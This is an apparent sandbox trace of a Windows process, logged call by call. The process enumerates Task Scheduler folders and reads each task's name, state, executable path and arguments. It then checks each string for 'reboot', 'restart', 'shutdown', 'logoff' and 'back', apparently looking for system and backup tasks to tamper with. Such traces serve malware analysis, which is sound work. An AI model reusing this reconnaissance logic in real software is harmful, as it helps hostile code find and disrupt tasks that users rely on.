	[0072.729] ITaskFolderCollection:get_Count (in: This=0x19cdd8, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0072.729] IUnknown:Release (This=0x19cdd8) returned 0x0
	[0072.729] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0072.729] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x45, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19a940) returned 0x0
	[0072.729] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19ccb8) returned 0x0
	[0072.730] IRegisteredTaskCollection:get_Count (in: This=0x19ccb8, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0072.730] IUnknown:Release (This=0x19ccb8) returned 0x0
	[0072.730] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19cb98) returned 0x0
	[0072.730] ITaskFolderCollection:get_Count (in: This=0x19cb98, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0072.730] IUnknown:Release (This=0x19cb98) returned 0x0
	[0072.730] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0072.730] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x46, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19a940) returned 0x0
	[0072.730] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19d018) returned 0x0
	[0072.731] IRegisteredTaskCollection:get_Count (in: This=0x19d018, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0072.731] IUnknown:Release (This=0x19d018) returned 0x0
	[0072.731] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19d0d8) returned 0x0
	[0072.732] ITaskFolderCollection:get_Count (in: This=0x19d0d8, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0072.732] IUnknown:Release (This=0x19d0d8) returned 0x0
	[0072.732] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0072.732] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x47, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19a940) returned 0x0
	[0072.732] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19d0d8) returned 0x0
	[0072.734] IRegisteredTaskCollection:get_Count (in: This=0x19d0d8, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0072.735] IUnknown:Release (This=0x19d0d8) returned 0x0
	[0072.735] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19ce38) returned 0x0
	[0072.829] ITaskFolderCollection:get_Count (in: This=0x19ce38, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0072.829] IUnknown:Release (This=0x19ce38) returned 0x0
	[0072.829] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0072.829] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x48, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19c180) returned 0x0
	[0072.829] ITaskFolder:GetTasks (in: This=0x19c180, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19cb38) returned 0x0
	[0072.830] IRegisteredTaskCollection:get_Count (in: This=0x19cb38, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0072.830] IRegisteredTaskCollection:get_Item (in: This=0x19cb38, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19c280) returned 0x0
	[0072.830] IRegisteredTask:get_Name (in: This=0x19c280, pName=0x43af860 | out: pName=0x43af860*="ForceSynchronizeTime") returned 0x0
	[0072.831] IRegisteredTask:get_State (in: This=0x19c280, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0072.831] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2882048
	[0072.831] wcsstr (_Str="forcesynchronizetime", _SubStr="reboot") returned 0x0
	[0072.831] wcsstr (_Str="forcesynchronizetime", _SubStr="restart") returned 0x0
	[0072.831] wcsstr (_Str="forcesynchronizetime", _SubStr="shutdown") returned 0x0
	[0072.831] wcsstr (_Str="forcesynchronizetime", _SubStr="logoff") returned 0x0
	[0072.831] wcsstr (_Str="forcesynchronizetime", _SubStr="back") returned 0x0
	[0072.831] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882048) returned 1
	[0072.831] IRegisteredTask:get_Definition (in: This=0x19c280, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19c2f0) returned 0x0
	[0072.920] ITaskDefinition:get_Actions (in: This=0x19c2f0, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19c340) returned 0x0
	[0072.920] IActionCollection:get_Count (in: This=0x19c340, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0072.920] IActionCollection:get_Item (in: This=0x19c340, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c540) returned 0x0
	[0072.920] IAction:get_Type (in: This=0x19c540, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0072.920] IUnknown:Release (This=0x19c540) returned 0x1
	[0072.921] IUnknown:Release (This=0x19c340) returned 0x1
	[0072.921] IUnknown:Release (This=0x19c2f0) returned 0x0
	[0072.921] IUnknown:Release (This=0x19c280) returned 0x0
	[0072.921] IRegisteredTaskCollection:get_Item (in: This=0x19cb38, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19c280) returned 0x0
	[0072.921] IRegisteredTask:get_Name (in: This=0x19c280, pName=0x43af860 | out: pName=0x43af860*="SynchronizeTime") returned 0x0
	[0072.921] IRegisteredTask:get_State (in: This=0x19c280, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0072.921] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289aee8
	[0072.921] wcsstr (_Str="synchronizetime", _SubStr="reboot") returned 0x0
	[0072.921] wcsstr (_Str="synchronizetime", _SubStr="restart") returned 0x0
	[0072.921] wcsstr (_Str="synchronizetime", _SubStr="shutdown") returned 0x0
	[0072.921] wcsstr (_Str="synchronizetime", _SubStr="logoff") returned 0x0
	[0072.921] wcsstr (_Str="synchronizetime", _SubStr="back") returned 0x0
	[0072.921] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289aee8) returned 1
	[0072.921] IRegisteredTask:get_Definition (in: This=0x19c280, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19c368) returned 0x0
	[0072.932] ITaskDefinition:get_Actions (in: This=0x19c368, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19c3b8) returned 0x0
	[0072.932] IActionCollection:get_Count (in: This=0x19c3b8, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0072.932] IActionCollection:get_Item (in: This=0x19c3b8, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c528) returned 0x0
	[0072.932] IAction:get_Type (in: This=0x19c528, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0072.933] IUnknown:QueryInterface (in: This=0x19c528, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19c528) returned 0x0
	[0072.933] IExecAction:get_Path (in: This=0x19c528, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\sc.exe") returned 0x0
	[0072.933] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x32) returned 0x286fa48
	[0072.933] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="reboot") returned 0x0
	[0072.933] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="restart") returned 0x0
	[0072.933] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="shutdown") returned 0x0
	[0072.933] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="logoff") returned 0x0
	[0072.933] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="back") returned 0x0
	[0072.933] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fa48) returned 1
	[0072.933] IExecAction:get_Arguments (in: This=0x19c528, pArgument=0x43af858 | out: pArgument=0x43af858*="start w32time task_started") returned 0x0
	[0072.933] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x36) returned 0x286f5c8
	[0072.933] wcsstr (_Str="start w32time task_started", _SubStr="reboot") returned 0x0
	[0072.933] wcsstr (_Str="start w32time task_started", _SubStr="restart") returned 0x0
	[0072.933] wcsstr (_Str="start w32time task_started", _SubStr="shutdown") returned 0x0
	[0072.933] wcsstr (_Str="start w32time task_started", _SubStr="logoff") returned 0x0
	[0072.933] wcsstr (_Str="start w32time task_started", _SubStr="back") returned 0x0
	[0072.933] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f5c8) returned 1
	[0072.933] IUnknown:Release (This=0x19c528) returned 0x2
	[0072.933] IUnknown:Release (This=0x19c528) returned 0x1
	[0072.933] IUnknown:Release (This=0x19c3b8) returned 0x1
	[0072.933] IUnknown:Release (This=0x19c368) returned 0x0
	[0072.933] IUnknown:Release (This=0x19c280) returned 0x0
	[0072.933] IUnknown:Release (This=0x19cb38) returned 0x0
	[0072.933] ITaskFolder:GetFolders (in: This=0x19c180, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19c9b8) returned 0x0
	[0073.026] ITaskFolderCollection:get_Count (in: This=0x19c9b8, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0073.026] IUnknown:Release (This=0x19c9b8) returned 0x0
	[0073.026] TaskScheduler:IUnknown:Release (This=0x19c180) returned 0x0
	[0073.026] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x49, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19c180) returned 0x0
	[0073.026] ITaskFolder:GetTasks (in: This=0x19c180, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19cef8) returned 0x0
	[0073.027] IRegisteredTaskCollection:get_Count (in: This=0x19cef8, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0073.027] IRegisteredTaskCollection:get_Item (in: This=0x19cef8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19c260) returned 0x0
	[0073.027] IRegisteredTask:get_Name (in: This=0x19c260, pName=0x43af860 | out: pName=0x43af860*="SynchronizeTimeZone") returned 0x0
	[0073.027] IRegisteredTask:get_State (in: This=0x19c260, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0073.027] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x2878128
	[0073.027] wcsstr (_Str="synchronizetimezone", _SubStr="reboot") returned 0x0
	[0073.027] wcsstr (_Str="synchronizetimezone", _SubStr="restart") returned 0x0
	[0073.027] wcsstr (_Str="synchronizetimezone", _SubStr="shutdown") returned 0x0
	[0073.027] wcsstr (_Str="synchronizetimezone", _SubStr="logoff") returned 0x0
	[0073.027] wcsstr (_Str="synchronizetimezone", _SubStr="back") returned 0x0
	[0073.027] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878128) returned 1
	[0073.027] IRegisteredTask:get_Definition (in: This=0x19c260, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19c348) returned 0x0
	[0073.258] ITaskDefinition:get_Actions (in: This=0x19c348, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19c398) returned 0x0
	[0073.258] IActionCollection:get_Count (in: This=0x19c398, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0073.258] IActionCollection:get_Item (in: This=0x19c398, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c508) returned 0x0
	[0073.258] IAction:get_Type (in: This=0x19c508, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0073.258] IUnknown:QueryInterface (in: This=0x19c508, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19c508) returned 0x0
	[0073.258] IExecAction:get_Path (in: This=0x19c508, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\tzsync.exe") returned 0x0
	[0073.258] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x3a) returned 0x2873cc0
	[0073.258] wcsstr (_Str="%windir%\\system32\\tzsync.exe", _SubStr="reboot") returned 0x0
	[0073.258] wcsstr (_Str="%windir%\\system32\\tzsync.exe", _SubStr="restart") returned 0x0
	[0073.258] wcsstr (_Str="%windir%\\system32\\tzsync.exe", _SubStr="shutdown") returned 0x0
	[0073.258] wcsstr (_Str="%windir%\\system32\\tzsync.exe", _SubStr="logoff") returned 0x0
	[0073.258] wcsstr (_Str="%windir%\\system32\\tzsync.exe", _SubStr="back") returned 0x0
	[0073.258] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2873cc0) returned 1
	[0073.258] IExecAction:get_Arguments (in: This=0x19c508, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0073.258] IUnknown:Release (This=0x19c508) returned 0x2
	[0073.258] IUnknown:Release (This=0x19c508) returned 0x1
	[0073.258] IUnknown:Release (This=0x19c398) returned 0x1
	[0073.259] IUnknown:Release (This=0x19c348) returned 0x0
	[0073.259] IUnknown:Release (This=0x19c260) returned 0x0
	[0073.259] IUnknown:Release (This=0x19cef8) returned 0x0
	[0073.259] ITaskFolder:GetFolders (in: This=0x19c180, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19ce98) returned 0x0
	[0073.259] ITaskFolderCollection:get_Count (in: This=0x19ce98, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0073.259] IUnknown:Release (This=0x19ce98) returned 0x0
	[0073.259] TaskScheduler:IUnknown:Release (This=0x19c180) returned 0x0
	[0073.259] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4a, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19c180) returned 0x0
	[0073.259] ITaskFolder:GetTasks (in: This=0x19c180, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19cef8) returned 0x0
	[0075.097] IRegisteredTaskCollection:get_Count (in: This=0x19cef8, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0075.097] IRegisteredTaskCollection:get_Item (in: This=0x19cef8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19c1d0) returned 0x0
	[0075.099] IRegisteredTask:get_Name (in: This=0x19c1d0, pName=0x43af860 | out: pName=0x43af860*="Tpm-HASCertRetr") returned 0x0
	[0075.099] IRegisteredTask:get_State (in: This=0x19c1d0, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0075.102] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289ae20
	[0075.103] wcsstr (_Str="tpm-hascertretr", _SubStr="reboot") returned 0x0
	[0075.103] wcsstr (_Str="tpm-hascertretr", _SubStr="restart") returned 0x0
	[0075.103] wcsstr (_Str="tpm-hascertretr", _SubStr="shutdown") returned 0x0
	[0075.103] wcsstr (_Str="tpm-hascertretr", _SubStr="logoff") returned 0x0
	[0075.103] wcsstr (_Str="tpm-hascertretr", _SubStr="back") returned 0x0
	[0075.103] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ae20) returned 1
	[0075.103] IRegisteredTask:get_Definition (in: This=0x19c1d0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19c298) returned 0x0
	[0075.118] ITaskDefinition:get_Actions (in: This=0x19c298, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19c2e8) returned 0x0
	[0075.118] IActionCollection:get_Count (in: This=0x19c2e8, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0075.118] IActionCollection:get_Item (in: This=0x19c2e8, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c548) returned 0x0
	[0075.118] IAction:get_Type (in: This=0x19c548, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0075.118] IUnknown:Release (This=0x19c548) returned 0x1
	[0075.118] IUnknown:Release (This=0x19c2e8) returned 0x1
	[0075.118] IUnknown:Release (This=0x19c298) returned 0x0
	[0075.118] IUnknown:Release (This=0x19c1d0) returned 0x0
	[0075.118] IRegisteredTaskCollection:get_Item (in: This=0x19cef8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19ad48) returned 0x0
	[0075.118] IRegisteredTask:get_Name (in: This=0x19ad48, pName=0x43af860 | out: pName=0x43af860*="Tpm-Maintenance") returned 0x0
	[0075.118] IRegisteredTask:get_State (in: This=0x19ad48, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0075.119] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289ae70
	[0075.119] wcsstr (_Str="tpm-maintenance", _SubStr="reboot") returned 0x0
	[0075.119] wcsstr (_Str="tpm-maintenance", _SubStr="restart") returned 0x0
	[0075.119] wcsstr (_Str="tpm-maintenance", _SubStr="shutdown") returned 0x0
	[0075.119] wcsstr (_Str="tpm-maintenance", _SubStr="logoff") returned 0x0
	[0075.119] wcsstr (_Str="tpm-maintenance", _SubStr="back") returned 0x0
	[0075.119] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ae70) returned 1
	[0075.119] IRegisteredTask:get_Definition (in: This=0x19ad48, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19ae10) returned 0x0
	[0077.945] ITaskDefinition:get_Actions (in: This=0x19ae10, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19ae60) returned 0x0
	[0077.945] IActionCollection:get_Count (in: This=0x19ae60, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0077.945] IActionCollection:get_Item (in: This=0x19ae60, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c240) returned 0x0
	[0077.945] IAction:get_Type (in: This=0x19c240, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0077.945] IUnknown:Release (This=0x19c240) returned 0x1
	[0077.945] IUnknown:Release (This=0x19ae60) returned 0x1
	[0077.945] IUnknown:Release (This=0x19ae10) returned 0x0
	[0077.945] IUnknown:Release (This=0x19ad48) returned 0x0
	[0077.945] IUnknown:Release (This=0x19cef8) returned 0x0
	[0077.945] ITaskFolder:GetFolders (in: This=0x19c180, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19cc58) returned 0x0
	[0077.951] ITaskFolderCollection:get_Count (in: This=0x19cc58, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0077.951] IUnknown:Release (This=0x19cc58) returned 0x0
	[0077.951] TaskScheduler:IUnknown:Release (This=0x19c180) returned 0x0
	[0077.951] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4b, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19ad48) returned 0x0
	[0077.951] ITaskFolder:GetTasks (in: This=0x19ad48, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19d138) returned 0x0
	[0079.406] IRegisteredTaskCollection:get_Count (in: This=0x19d138, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0079.406] IRegisteredTaskCollection:get_Item (in: This=0x19d138, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19ad98) returned 0x0
	[0079.406] IRegisteredTask:get_Name (in: This=0x19ad98, pName=0x43af860 | out: pName=0x43af860*="RunCampaignManager") returned 0x0
	[0079.406] IRegisteredTask:get_State (in: This=0x19ad98, pState=0x43af864 | out: pState=0x43af864*=4) returned 0x0
	[0079.408] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877e88
	[0079.408] wcsstr (_Str="runcampaignmanager", _SubStr="reboot") returned 0x0
	[0079.408] wcsstr (_Str="runcampaignmanager", _SubStr="restart") returned 0x0
	[0079.408] wcsstr (_Str="runcampaignmanager", _SubStr="shutdown") returned 0x0
	[0079.408] wcsstr (_Str="runcampaignmanager", _SubStr="logoff") returned 0x0
	[0079.408] wcsstr (_Str="runcampaignmanager", _SubStr="back") returned 0x0
	[0079.408] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877e88) returned 1
	[0079.408] IRegisteredTask:get_Definition (in: This=0x19ad98, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19ae08) returned 0x0
	[0079.417] ITaskDefinition:get_Actions (in: This=0x19ae08, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19ae58) returned 0x0
	[0079.417] IActionCollection:get_Count (in: This=0x19ae58, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0079.417] IActionCollection:get_Item (in: This=0x19ae58, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c478) returned 0x0
	[0079.417] IAction:get_Type (in: This=0x19c478, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0079.417] IUnknown:QueryInterface (in: This=0x19c478, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19c478) returned 0x0
	[0079.417] IExecAction:get_Path (in: This=0x19c478, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\System32\\UNP\\UNPCampaignManager.exe") returned 0x0
	[0079.417] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x5a) returned 0x28504a0
	[0079.417] wcsstr (_Str="%windir%\\system32\\unp\\unpcampaignmanager.exe", _SubStr="reboot") returned 0x0
	[0079.417] wcsstr (_Str="%windir%\\system32\\unp\\unpcampaignmanager.exe", _SubStr="restart") returned 0x0
	[0079.417] wcsstr (_Str="%windir%\\system32\\unp\\unpcampaignmanager.exe", _SubStr="shutdown") returned 0x0
	[0079.417] wcsstr (_Str="%windir%\\system32\\unp\\unpcampaignmanager.exe", _SubStr="logoff") returned 0x0
	[0079.417] wcsstr (_Str="%windir%\\system32\\unp\\unpcampaignmanager.exe", _SubStr="back") returned 0x0
	[0079.417] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28504a0) returned 1
	[0079.417] IExecAction:get_Arguments (in: This=0x19c478, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0079.417] IUnknown:Release (This=0x19c478) returned 0x2
	[0079.417] IUnknown:Release (This=0x19c478) returned 0x1
	[0079.417] IUnknown:Release (This=0x19ae58) returned 0x1
	[0079.417] IUnknown:Release (This=0x19ae08) returned 0x0
	[0079.418] IUnknown:Release (This=0x19ad98) returned 0x0
	[0079.418] IUnknown:Release (This=0x19d138) returned 0x0
	[0079.418] ITaskFolder:GetFolders (in: This=0x19ad48, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19d078) returned 0x0
	[0085.162] ITaskFolderCollection:get_Count (in: This=0x19d078, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0085.162] IUnknown:Release (This=0x19d078) returned 0x0
	[0085.162] TaskScheduler:IUnknown:Release (This=0x19ad48) returned 0x0
	[0085.162] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4c, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19ad48) returned 0x0
	[0085.163] ITaskFolder:GetTasks (in: This=0x19ad48, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19cad8) returned 0x0
	[0085.166] IRegisteredTaskCollection:get_Count (in: This=0x19cad8, pCount=0x43af854 | out: pCount=0x43af854*=10) returned 0x0
	[0085.166] IRegisteredTaskCollection:get_Item (in: This=0x19cad8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19c180) returned 0x0
	[0085.166] IRegisteredTask:get_Name (in: This=0x19c180, pName=0x43af860 | out: pName=0x43af860*="Combined Scan Download Install") returned 0x0
	[0085.166] IRegisteredTask:get_State (in: This=0x19c180, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0085.168] IUnknown:Release (This=0x19c180) returned 0x0
	[0085.168] IRegisteredTaskCollection:get_Item (in: This=0x19cad8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19c180) returned 0x0
	[0085.168] IRegisteredTask:get_Name (in: This=0x19c180, pName=0x43af860 | out: pName=0x43af860*="Maintenance Install") returned 0x0
	[0085.168] IRegisteredTask:get_State (in: This=0x19c180, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0085.168] IUnknown:Release (This=0x19c180) returned 0x0
	[0085.168] IRegisteredTaskCollection:get_Item (in: This=0x19cad8, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19c180) returned 0x0
	[0085.169] IRegisteredTask:get_Name (in: This=0x19c180, pName=0x43af860 | out: pName=0x43af860*="MusUx_UpdateInterval") returned 0x0
	[0085.169] IRegisteredTask:get_State (in: This=0x19c180, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0085.169] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881b78
	[0085.169] wcsstr (_Str="musux_updateinterval", _SubStr="reboot") returned 0x0
	[0085.169] wcsstr (_Str="musux_updateinterval", _SubStr="restart") returned 0x0
	[0085.169] wcsstr (_Str="musux_updateinterval", _SubStr="shutdown") returned 0x0
	[0085.169] wcsstr (_Str="musux_updateinterval", _SubStr="logoff") returned 0x0
	[0085.169] wcsstr (_Str="musux_updateinterval", _SubStr="back") returned 0x0
	[0085.169] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881b78) returned 1
	[0085.169] IRegisteredTask:get_Definition (in: This=0x19c180, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19ab98) returned 0x0
	[0085.178] ITaskDefinition:get_Actions (in: This=0x19ab98, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19ae48) returned 0x0
	[0085.178] IActionCollection:get_Count (in: This=0x19ae48, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0085.178] IActionCollection:get_Item (in: This=0x19ae48, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19c260) returned 0x0
	[0085.178] IAction:get_Type (in: This=0x19c260, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
